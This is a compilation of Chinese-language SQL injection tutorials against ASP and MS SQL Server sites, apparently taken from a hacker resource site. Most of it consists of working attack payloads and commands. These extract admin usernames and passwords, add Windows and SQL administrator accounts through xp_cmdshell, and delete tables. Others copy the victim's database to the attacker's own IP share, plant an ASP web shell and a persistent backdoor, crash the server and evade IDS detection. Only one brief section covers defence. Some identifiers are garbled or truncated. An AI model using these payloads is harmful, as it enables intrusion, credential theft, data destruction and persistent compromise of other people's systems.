限。我们可以使用MS SQL SERVER的扩展储存过程(如p_cmdshell等)

来执行远程系统的某些命

令:

'; p_cmdshell 'ping 10.10.1.2'--

若失败可以尝试一下使用"(双引号)代替'(单引号)。

上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条

新SQL命令)。若要检验上

面这条PING命令是否成功，你可以在10.10.1.2这台机器上监听ICMP请求包，

并确认它是否来自那台SQL

服务器就可以了:

#tcpdump icmp

如果你不能从那台SQL服务器中得到PING请求的话，并在SQL请求的返回值

中得到错误信息的话，有可能

是因为该SQL服务器的管理员限制了WEB用户访问这些储存过程了。

5.0如何可以获取到我发的SQL请求的相关返回信息呢？

我们可以使用sp_makewebtask处理过程的相关请求写入URL

:

'; EXEC master..sp_makewebtask "", "SELECT * FROM

INFORMATION

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

_"

但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。

6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢？

我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透

露出我们想得到的信息(如表

名、列名等)。比方有这么一个URL:

duck/?id=10

在上面的URL中我们可以尝试使用UNION子句的方式在整数'10'之后加入其他请

求字符串进去的，如:

duck/?id=10 UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_--

上例中的系统表INFORMATION_包括了这台服务器中所有

表的信息。至于TABLE_NAME区域就

包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在

的。换言之我们的SQL询

问请求就是:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_-

服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句

将请求字符串加入整数10之

后时，MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串

(nvarchar)转为整数型(int

)时，系统就会产生错误。服务器会显示如下错误信息:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '

table1' to a column of data type int.

/, line 5

非常好，这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知

道的表名)。在这个实例

中，我们知道了第一个表名是“table1”。若要得到下一个表名，我们可以发送这

样的请求:

duck/?id=10 UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_ WH

ERE TABLE_NAME NOT IN ('table1')--

我们也可以通过LIKE来找寻相关的特殊字:

duck/?id=10 UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_ WH

ERE TABLE_NAME LIKE '%25login%25'--

输出得到:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

admin_login' to a column of data type int.

/, line 5

6.1如何找出表中的列名？

我们可以利用另一个比较重要的表INFORMATION_S来罗

列出一个表的所有列名:

duck/?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_S

WHERE TABLE_NAME='admin_login'--

输出显示为:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '

login_id' to a column of data type int.

/, line 5

现在已经得到第一个列的名称了，我们还可以用NOT IN ()得到下一个列名:

duck/?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_S

WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN

('login_id')--

输出得到:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '

login_name' to a column of data type int.

/, line 5

若继续重复这样的操作，我们将可以获得余下所有的列名，如"password"、

"details"。当我们使用了下

面的请求后就可以得到(除了'login_id','login_name','password',details'之外的列名):

duck/?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_S

WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN

('login_id','login_name','password'

,details')--

输出后得到:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear

in the select lis

t if the statement contains a UNION operator.

/, line 5

6.2如何找到我们需要的数据？

现在我们需要鉴别出一些比较重要的表与列，我们可以用相同的技巧询问数据库

从而得到相关的信息。

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

现在让我们问问"admin_login"表的第一个用户名是什么吧:

duck/?id=10 UNION SELECT TOP 1 login_name FROM

admin_login--

输出:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '

neo' to a column of data type int.

/, line 5

知道了一个管理员帐号是"neo"。最后，问问这个管理员帐号的密码是什么吧:

duck/?id=10 UNION SELECT TOP 1 password FROM admin_login

where login_name='

neo'--

输出:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '

m4trix' to a column of data type int.

/, line 5

现在我们可以用"neo"与他的密码("m4trix")来登陆系统了。

6.3如何获得数字串值？

在这里技术上表达的一种局限性。若要将数字(0-9之间的数字)转换为正常的文

本数据的话，我们将无法

得到我们所需要的错误提示信息。举个例子，我们现在要尝试得到帐号为"trinity"

的密码，而它所对应

的密码为"31173":

duck/?id=10 UNION SELECT TOP 1 password FROM admin_login

where login_name='

trinity'--

这样我们大概只能得到“Page Not Found”这样的错误提示。这其中的主要问题在

于，在与整数(这个例

子中为10)进行了合集(使用了UNION子句)以后这个密码"31173"将会被系统转

换为数值。这样的话这个UN

ION字句调用就是‘合法’的了，SQL服务器将不会返回任何ODBC错误信息，因

而我们是不可能得到这些

数字型数据的。

为了解决这个问题，我们可以为这些数据字符串加入一些字母表来确定转化过程

是错误的。让我们试试

用下面的这条请求来代替原来的请求吧:

duck/?id=10 UNION SELECT TOP 1 convert(int,

password%2b'%20morpheus') FROM

admin_login where login_name='trinity'--

在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

ASCII中'+'等于0x2b)。我

们加入了一个(%20)空格与morpheus(随便一个字符串)进入实际的密码数据中。

这样的话，即使我们得到

了数字串'31173'，它也会变成'31173 morpheus'。

在执行了convert()函数后，系统会尝试将'31173 morpheus'转换为整数型，SQL服

务器一定会返回这样

的ODBC错误信息:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '

31173 morpheus' to a column of data type int.

/, line 5

现在你可以知道'trinity'的密码是'31173'了吧。

7.0如何在数据库中更新/插入数据？

当成功地收集到表中所有的列后，我们就可以在表中UPDATE(升级/修改)原有的

数据或者INSERT(加入)新

的数据。打个比方，我们要修改帐号"neo"的密码:

duck/?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5'

WHERE login_na

me='neo'--

加入一条新的记录:

duck/?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name',

'password

', 'details') VALUES (666,'neo2','newpas5','NA')--

现在我们就可以以帐号"neo2"、密码"newpas5"登陆系统了。

8.0如何避免被SQL注入攻击？

过滤一些特殊像单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符，过滤

的对象包括:

-用户的输入

-提交的URL请求中的参数部分

-从cookie中得到的数据

至于数字值，将其转换为整数型之前必须有SQL语句声明，或者用ISNUMERIC

确定它为一个整型数。

修改“Startup and run SQL Server”的用户运行级别为低级别。

删除一系列你不需要的储存过程，如:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

SQL数据库的一些攻击

作者： 文章出处：网络卫士

网络安全焦点 Hectic

对于国内外的很多新闻，BBS和电子商务网站都采用ASP+SQL设计，而写

ASP的程序员很多（有很多刚刚毕业的），所以，ASP+SQL的攻击成功率

也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系，也没有

相应的补丁，因为漏洞是程序员自己造成的，而且大多数讲解ASP编

程的书上，源代码例子就有这个漏洞存在，其实只是一些合法的ASP对SQL的

请求，就留下后患无穷！

这种攻击方法最早源于'or'1'='1的漏洞（我们暂且称其为漏洞），这个漏洞的原

理我想大家因该都知道了，那么随之而来的便是;exec

sp_addlogin hax（在数据库内添加一个hax用户），但是这个方法的限制很大，

首先ASP使用的SQL Server账号是个管理员，其次请求的提交变

量在整个SQL语句的最后，因为有一些程序员采用SELECT * FROM news

WHERE id=... AND topic=... AND .....

这种方法请求数据库，那么如果还用以上的例子就会

?id=2;exec sp_addlogin hax

变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=...

AND ...

整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在，语法错误，

你的sp_addlogin自然也不能正常运行了，因此试试看下面这个方

法

?id=2;exec sp_addlogin hax;--

后面的--符号把sp_addlogin后的判断语句变成了注释，这样就不会有语法错误

了，sp_addlogin正常执行！

那么我们连一起来用吧

?id=2;exec _addlogin hax;--

?id=2;exec _password null,hax,hax;--

?id=2;exec _addsrvrolemember sysadmin hax;--

?id=2;exec _cmdshell 'net user hax hax /workstations:*

/times:all /passwordchg:yes /passwordreq:yes

/active:yes /add';--

?id=2;exec _cmdshell 'net localgroup administrators hax

/add';--

这样，你在他的数据库和系统内都留下了hax管理员账号了

当然，前提条件是ASP用管理员账号，所以虚拟空间大家就别试了，不会存在

这个漏洞的。

以后我们会讨论，如果对方的ASP不是用SQL管理员账号，我们如何入侵，当

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

然也会涉及到1433端口的入侵

当然大家可以试试看在id=2后面加上一个'符号，主要看对方的ASP怎么写了

再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。

你如天融信的主页，有新闻内容，如下：

/news/?newid=117

大家可以试试看/news/?newid=117;select

123;--

呵呵，报语法错误，select 123错误，显而易见，天融新的ASP在newid变量后面

用'号结束

那么试试看/news/?newid=117';delete news;--

哈哈，我想只要表名猜对了，新闻库就被删了

通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个

库有很高的管理权限

但是我们不知道库名该怎么？看看db_name()函数吧

打开你的query analyzer，看看print db_name() ，呵呵，当前的数据库名就出来了

以次类推，如下： declare @a sysname;set @a=db_name();backup database @a to

disk='你的IP你的共享目录' ,name='test';--

呵呵，他的当前数据库就备份到你的硬盘上了，接下来要做的大家心里都明白了

吧

同理这个方法可以找到对方的SQL的IP

先装一个防火墙，打开ICMP和139TCP和4

45TCP的警告提示

然后试试看?id=2;exec _cmdshell 'ping 你的IP'

如果防火墙提示有人ping你，那么因该可以肯定对方的ASP用的是SQL的管理员

权限，同时也确定了对方的SQL Server的准确位置，因为很多大

一点的网站考虑性能，会吧web服务和数据库分开，当对方大上了补丁看不到

源代码时，我想只有这个方法能很快的定位对方的SQL Server的位

置了

那么，如果对方ASP没有SQL管理员权限，我们就不能调用xp_cmdshell了，

该怎么办？

别着急，试试看这个?id=2;declare @a;set @a=db_name();backup database

@a to disk='你的IP你的共享目录'

,name='test';--

呵呵，你的防火墙该发出警告了，有人连接你的445或139(win9端口了，这样，

对方的SQL的ip一样也可以暴露

那么如果对方连某个数据库的owner也不是的话，我们该怎么办？下次我会告诉

大家一个更好的办法。

其实backuo database到你的硬盘还是有点夸张了，如果对方数据库很庞大，你又

是拨号上网，呵呵，劝你别试了，很难成功传输的

下次我们还会谈到如何骗过IDS执行ASP+SQL入侵

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

目前有些好的IDS已经开始监视xp_cmdshell这些关键字了

好吧，同志们下次见

所有以上url希望大家通过vbscripq提交，因为浏览器的地址栏会屏蔽一些特殊

字符，这样你的命令就不能完整传输了

=URL

补充：这个问题以前载网上也提出来过，但是只是一些简单的xp_cmdshell调用

限制很大，其实这里面还有很多值得深入的地方比如

。国信证卷就有这个问题，而且他们采用ms的三层结构作的

用以前说的xp_cmdshell做法就不行了，字符串会被过滤，但是

我尝试了，用sql的异类请求仍然可以在对方的机器上开启telnet服务和

administrators组的账号！由于对方防火墙很严checkpoint数据报进出

都只开放80端口因此，要想获得他的数据库结构比较困难了，但是还是有办法

可以做到的：P

顺便提醒大家注意一下关于sqloledb,db_name,openrowset,opendatasource这些系

统函数当asp的sqlserver账号只是一个普通用户时，他们会

很有用的！

sql server新漏洞和一些突破口

下面我要谈到一些sqlserver新的bug，虽然本人经过长时间的努力，当然也有点

幸运的成分在内,才得以发现，不敢一个人独享，拿出来请大家

鉴别,当然很有可能有些高手早已知道了，毕竟我接触sqlserver的时间不到1年：

P

1。关于openrowset和opendatasource

可能这个技巧早有人已经会了，就是利用

openrowset发送本地命令

通常我们的用法是（包括MSDN的列子）如下

select * from openrowset('sqloledb','myserver';'sa';'','select * from table')

可见（即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问，

它必须跟在select后面，也就是说需要返回一个recordset

那么我们能不能利用它调用xp_cmdshell呢？答案是肯定的！

select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec

_cmdshell ''dir c:''')

必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置，这样xp_cmdshell

返回的output集合就会提交给前面的select显示，如果采用

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

默认设置，会返回空集合导致select出错，命令也就无法执行了。

那么如果我们要调用sp_addlogin呢，他不会像xp_cmdshell返回任何集合的，我

们就不能再依靠fmtonly设置了，可以如下操作

select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec

_addlogin Hectic')

这样，命令至少会返回select 'OK!'的集合，你的机器商会显示OK!，同时对方的

数据库内也会增加一个Hectic的账号，也就是说，我们利用

select 'OK!'的返回集合欺骗了本地的select请求，是命令能够正常执行，通理

sp_addsrvrolemember和opendatasource也可以如此操作！至于

这个方法真正的用处，大家慢慢想吧：P

2。关于msdasql两次请求的问题

不知道大家有没有试过用msdasql连接远程数据库，当然这个api必须是sqlserver

的管理员才可以调用，那么如下

select * from openrowset('msdasql','driver={sql

server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=d

bmssocn','select * from table1 select * from

table2')

当table1和table2的字段数目不相同时，你会发现对方的

sqlserver崩溃了，连本

地连接都会失败，而系统资源占用一切正常，用pskill杀死

sqlserver进程后，如果不重启机器，sqlserver要么无法正常启动，要么时常出现

非法操作，我也只是碰巧找到这个bug的，具体原因我还没有

摸透，而且很奇怪的是这个现象只出现在msdasql上，sqloledb就没有这个问题，

看来问题不是在于请求集合数目和返回集合数目不匹配上，因

该还是msdasql本身的问题，具体原因，大家一起慢慢研究吧：P

3。可怕的后门

以前在网上看到有人说在sqlserver上留后门可以通过添加triger,jobs或改写

sp_addlogin和sp_addsrvrolemember做到，这些方法当然可行，

但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵，

比如你在对方的sqlserver上用sqlserver的管理员账号执行如

下的命令

select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set

fmtonly off p_cmdshell

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

''dir c:''')

这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射，只要sqlserver

不重启，这个映射会一直存在下去，至少我现在还不知道如

何发现别人放置的连接映射

，好了，以上的命令运行过后，你会发现哪怕是sqlserver没有任何权限的guest

用户，运行以上这条命令也一样能通过！而且权限是

localsystem！（默认安装）呵呵！这个方法可以用来在以被入侵过获得管理员权

限的sqlserver上留下一个后门了。

以上的方法在sqlserver2000+sqlserver2000SP1上通过！

*另外还有一个猜测，不知道大家有没有注意过windows默认附带的两个dsn，

一个是localserver一个是msqi，这两个在建立的时候是本地管理

员账号连接sqlserver的，如果对方的sqlserver是通过自定义的power user启动，

那么sa的权限就和power user一样，很难有所大作为，但是

我们通过如下的命令

select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set

fmtonly off p_cmdshell ''dir

c:''')应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号

的权限执行本地命令了，这是后我想应该能突破sa那个

power user权限了。现在的问题是sqloledb无法调用dsn连接，而msdasql非管

理员不让调用，所以我现在正在寻找guest调用msdasql的方法，

如果有人知道这个bug如何突破，或有新的想法，我们可以一起讨论一下，这个

发放如果能成功被guest利用，将会是一个很严重的安全漏洞。

因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行：P

利用t-sql骗过ids或攻击ids

现在的ids已经变得越来越聪明了

有的ids加入了xp_cmdshell sp_addlogin 的监视

但是毕竟人工智能没有出现的今天，这种监视总是有种骗人的感觉

先说说欺骗ids:

ids既然监视xp_cmdshell关键字，那么我们可以这么做

declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c:'

这个代码象性大家都能看明白，还有xp_cmdshell作为一个store procedure在

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

master库内有一个id号，固定的，我们也可以这么做

假设这个id=988456

declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir

c:'

当然也可以

declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a

'dir c:'

这种做法排列组合，ids根本不可能做的到完全监视

同理，sp_addlogin也可以这么做

再说说攻击ids:

因为ids数据量很大，日至通常备份到常规数据库，比如sql server

如果用古老的做法，会严重影响ids的性能，因为通过ado做

t-sql请求，不但效率高，而且有一部分工作可以交给sql server

去做

通常程序会这么写

insert table values ('日至内容',...)

那么我么想想看，如果用

temp') exec xp_cmdshell 'dir c:' --

提交后会变成

insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir c:' -- ')

这样，xp_cmdshell就可以在ids的数据库运行了 ：）

当然ids是一个嗅叹器，他会抓所有的报，而浏览器提交的时候会把空格变成%20

因此，%20会被提交到sql server，这样你的命令就无法执行了

唯一的办法就是

insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:'/**/--

')

用/**/代替空格做间隔符，这样你的t-sql才能在ids的数据库内执行

淡然也可以用其他语句，可以破坏，备份ids的数据库到你的共享目录

呵呵

其实这种方法的原理和攻击asp是一样的，只是把空格变成了/**/

本来asp是select语句，那么用'就可以屏蔽

现在ids用insert语句，那么用')屏蔽

好了，其他很多新的入侵语句大家可以自己慢慢想，最好的测试工具就是query

analyzer《SQL自带工具》了。

SQL Injection攻击技术

来源： 作者： 作者：JSW（监视我）

FROM：

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

前言：

这篇文章是我很久以前的作品了，写完后才知道isno也写了一篇。当我看过isno

的那篇后发现了我的文章错了好多个地方，后来我对这篇文章做了一些修改，希

望对读者能够有所帮助。

【什么是SQL Injection】

SQL Injection应该称为SQL指令植入式攻击，主要属于Input Validation的问题，

它是描述一个利用写入特殊SQL程序码攻击应用程序的动作。

【SQL Injection的原理】

一般输入帐号密码的网站的SQL语法为

select * from member where UID =’ "& request("ID") &" ’ nAnd Passwd =’ "&

request("Pwd") & " ’

如果正常使用者输入帐号pl，密码1234

那么程序便会执行select * from member where UID =’pl’ And Passwd=’1234’

输入的帐号和密码等信息会取代ASP( or PHP、JSP)中的变量，並由两个单引号

(’ ’)所包住。那么，如果攻击者已知系统中已有一個Admin的管理者帐号，則

输入Admin ’-- ，即可不需输入密码而进入资料库，相应的语句为

select * from member where UID =’ Admin ’-- ’ nAnd Passwd =’ ’

（注：“ – ”符号后的任何叙述都会被当作注解，也就是说以上例子的And子句将

被SQL视为说明用）

【检测漏洞】

对大多数SQL服务器来说，我们并不知道对方程序的具体代码，而靠任何扫描器

也不可能发现SQL injection的漏洞，这样我们就要靠手工检测了。由于我们执行

SQL语句会用到单引号、分号、逗号、冒号和“――”，所以我们可以在URL后面

加上以上符合，或者在表单中的文本框中加入。比如：

jsw/?id=1’

jsw/?id=1;

通过页面返回的信息，判断是否存在SQL injection的漏洞，这种方法只是简单的

通过字符过滤来判断，根据IIS的配置不同，返回的信息也可能不同。有时显示

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value ’login_id’ to a column of data type int.

/, line 5

也可能是“http 500-内部服务器错误”，或者显示正常信息，判断的根据主要是经

验啦，因为现在好多服务器的没有出错回显了的。

【执行系统命令】

SQL injection攻击方法最

早源于’or’1’=’1的漏洞（我们暂且称其为漏洞），这个

漏洞的原理我想大家因该都知道了，那么随之而来的便是;exec sp_addlogin hax

（在数据库内添加一个hax用户），但是这个方法的限制很大，首先ASP使用的

SQL Server账号是个管理员，其次请求的提交变量在整个SQL语句的最后，因为

有一些程序员采用

SELECT * FROM news WHERE id=... AND topic=... AND .....

这种方法请求数据库，那么如果还用以上的例子就会

?id=2;exec sp_addlogin hax

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

变成

SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=AND

整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在，语法错误，你

的sp_addlogin自然也不能正常运行了，因此试试看下面这个方法

?id=2;exec sp_addlogin hax;--

这样就不会有语法错误了，后面的--符号把sp_addlogin后的判断语句变成了注释，

sp_addlogin正常执行！

如何判断我们的命令是否成功执行了呢？我们先装一个_blank">防火墙，打开

ICMP和139TCP和445TCP的警告提示然后提交

?id=2;exec _cmdshell ’ping 你的IP’

如果_blank">防火墙提示有人ping你，那么因该可以肯定对方的

ASP用的是SQL

的管理员权限，同时也确定了对方的SQL Server的准确位置，因为很多大一点的

网站考虑性能，会吧web服务和数据库分开，当对方大上了补丁看不到源代码时，

我想只有这个方法能很快的定位对方的SQL Server的位置了

那么我们连一起来用吧

?id=2;exec _addlogin hax;--

?id=2;exec _password null,hax,hax;--

?id=2;exec _addsrvrolemember sysadmin hax;--

?id=2;exec _cmdshell ’net user hax hax /workstations:*

/times:all /passwordchg:yes /passwordreq:yes

/active:yes /add’;--

?id=2;exec _cmdshell ’net localgroup administrators hax

/add’;--

这样，你在他的数据库和系统内都留下了hax管理员账号了。

当然大家可以试试看在id=2后面加上一个’符号，主要看对方的ASP怎么写了。

运用master..Xp_cmdshell,扩展，我们就可以在目标主机上执行任意命令的，类似

的还有xp_startmail, xp_sendmail, sp_makewebtask，具体的用法和

master..Xp_cmdshell差不多，我在这里就不多说了。需要指明的是

这种攻击方法

的前提条件是ASP用管理员账号，所以虚拟空间大家就别试了，不会存在这个漏

洞的。

以后我们会讨论，如果对方的ASP不是用SQL管理员账号的时候，我们应该

如何攻击。

【对数据库的攻击】

通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个

库有很高的管理权限。大家可以试试看

jsw/?newid=117;select 123;--

呵呵，报语法错误，select 123错误，显而易见，这个ASP在newid变量后面用’

号结束

那么试试看jsw/som

ething..asp?newid=117’;delete news;--

哈哈，我想只要表名猜对了，数据库里面的信息就被删了。

还有一种的作法，就是提交

?id=2;declare @a;set @a=db_name();backup database @a to disk=’你的IP

你的共享目录’ ,name=’test’;--

呵呵，你的_blank">防火墙该发出警告了，有人连接你的

445或139(win9端口了，

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

这样，对方的SQL的ip一样也可以暴露，其实backuo database到你的硬盘还是有

点夸张了，如果对方数据库很庞大，你又是拨号上网，呵呵，劝你别试了，很难

成功传输的。

【从数据库中提取任意信息】

这是本文要简单的一个重要的部分。一般来说，用于查询数据的SQL语句会用到

以下的这种格式：

:

v_cat = request("category")

sqlstr="SELECT * FROM product WHERE PCategory=’" & v_cat & "’"

set rs=e(sqlstr)

那么我们向包含以上代码的AS

P文件提交

jsw/?category=food’or 1=1--’

切换到程序中后变成

SELECT * FROM product WHERE PCategory=’food’ or 1=1--’

也就是说我们可以提交一些非法的值给这个ASP脚本，使它执行我们想要的SQL

语句。

下面我用一个攻击过程来说明SQL injection的利用方法。

在使用SQL injection攻击的时候，我们首先要得到目标数据库的结构，提交

jsw/?id=10 UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_--

INFORMATION_包含的

是数据库上的所有表名，我们提交的

SQL语句为

SELECT TOP 1 TABLE_NAME FROM INFORMATION_—

主要是用来得到数据库上的第一个表名。当MS SQL Server尝试去执行这个语句

的时侯将返回以下的信息：

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value ’syssegments’ to a column of data type int.

/, line 5

而这种ODBC的错误信息恰好包含了我们想要的内容。现在我们得到可数据库中

的第一个表名：“syssegments”这是建立数据库后系统自动生成的，接下来我们继

续提交：

jsw/?id=10 UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_ WHERE TABLE_NAME NOT IN

(’syssegments’)--

可以得到下一个表名

当然，我们也可以通过LIK

E对数据库进行查询：

jsw/?id=10 UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_ WHERE TABLE_NAME

LIKE ’%25login%25’--

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

返回：

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value ’admin_login’ to a column of data type int.

/, line 5

在SQL SERVER中，’%25login%25’ 将会被替换为 %login% 。这样我们同样可

以得到了数据库中的第一个表名。我们再来提取admin_login表中的数据分类。

jsw/?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_S WHERE TABLE_NAME=’admin_login’--

返回：

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value ’login_id’ to a column of data type int.

/, line 5

ODBC 信息中的“admin_login”便是第一个分类内容，要得到其他的分类，还可

以使用

jsw/?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_S WHERE TABLE_NAME=’admin_login’

WHERE COLUMN_NAME NOT IN (’login_id’)--

返回：

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value ’login_name’ to a column of data type int.

/, line 5

类似的还有：

jsw/?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_S WHERE TABLE_NAME=’admin_login’

WHERE COLUMN_NAME NOT IN (’login_id’,’login_name’,’password’,details’)--

现在我们来开始提取数据库中的帐号和密码，先从admin_login表中得到第一个

login_name。

提交：

jsw/?id=10 UNION SELECT TOP 1 login_name FROM

admin_login--

返回的信息：

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value ’neo’ to a column of data type int.

/, line 5

很显然，数据库中的第一个“login_name”为neo。看看他的密码是什么：

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

jsw/?id=10 UNION SELECT TOP 1 password FROM admin_login

where login_name=’neo’—

返回：

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value ’pilv’ to a column of data type int.

/, line 5

也就是说用户neo的密码为pilv。

【象数据库的内容进行添加和需改】

要向数据库中提交或者修改数据，我们通常会用到INSERT和 UPDATE命令。

例如，向数据库中添加信息：

jsw/?id=10; INSERT INTO ’admin_login’

(’login_id’, ’login_name’, ’password’, ’details’) VALUES

(666,’neo2’,’newpas5’,’NA’)—

这样我们便成功的在数据库中增加了一个用户neo2，密码为newpas5。

向数据库中修改数据用到的是UPDATE命令，例如更换neo的密码：

jsw/?id=10; UPDATE ’admin_login’ SET ’password’ = ’newpas5’

WHERE login_name=’neo’—-

这个语句的意思我想大家一定明白了吧。

【其他】

与 OLE Automation/COM 物件相关的延伸预存程序：

SQL Server 提供了一组存取伺服器外部 OLE 物件相关的预存程序。它们分别

是：

sp_OACreate

sp_OADestroy

sp_OAMethod

sp_OAGetProperty

sp_OASetProperty

sp_OAGetErrorInfo

sp_OAStop

你可以用它们来建立 OLE 物件(一般COM 物件就可以了，但要支援 IDispatch

介面)，执行物件的方法，读取与修改属性，进行错误处理。但它们无法回应一

般 OLE 或 COM 物件的事件。有了 COM/OLE 物件的建立与执行，对於控制

系统来说可算是如虎添翼，无所不能了。稍举个例子，我们可以利用它来取得有

兴趣的网页的原始码：

’;DECLARE @shell INT EXEC SP_OACREATE ’’,@shell OUTPUT

EXEC SP_OAMETHOD @shell,’run’,null, ’C:/WINNT/system32/ /c type

c:/inetpub/wwwroot/sqlinject/ > c:/inetpub/wwwroot/sqlinject/’--

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

利用 stemObject 来建立一个ASP网页后门：

’;DECLARE @fs int,@fi int

EXEC SP_OACREATE ’stemObject’,@fs OUTPUT

EXEC SP_OAMETHOD @fs,’CreateTextFile’,@fs

OUTPUT,’C:/InetPub/WWWRoot/SQLInject/’,1

EXEC SP_OAMETHOD @fs,’WriteLine’,null,’<% Set

objShell=Object("") : Request("cmd") %>’

建立 ASP 後门网页。从此透过 URL 就可以执行任何执行档，范例如下：

sqlinject/?cmd=C:/WINNT/system32/">localhost/sqlinject/she

?cmd=C:/WINNT/system32/ /c type

c:/inetpub/wwwroot/sqlinject/ > c:/inetpub/wwwroot/sqlinject/

读取服务器的系统信息：

’union select @@version,1,1--

’union select @@version,1,1--

其他相关的延伸预存程序：

xp_dirtree ：显示某个目录下的子目录与档案架构

例子：xp_dirtree ’c:/inetpub/wwwroot/’

xp_ntsec_enumdomains：列出服务器域名名称

例子：xp_ntsec_enumdomains

xp_terminate_process：停掉某个执行中的程序，但赋予的参数是 Process ID

例子：xp_terminate_process 2484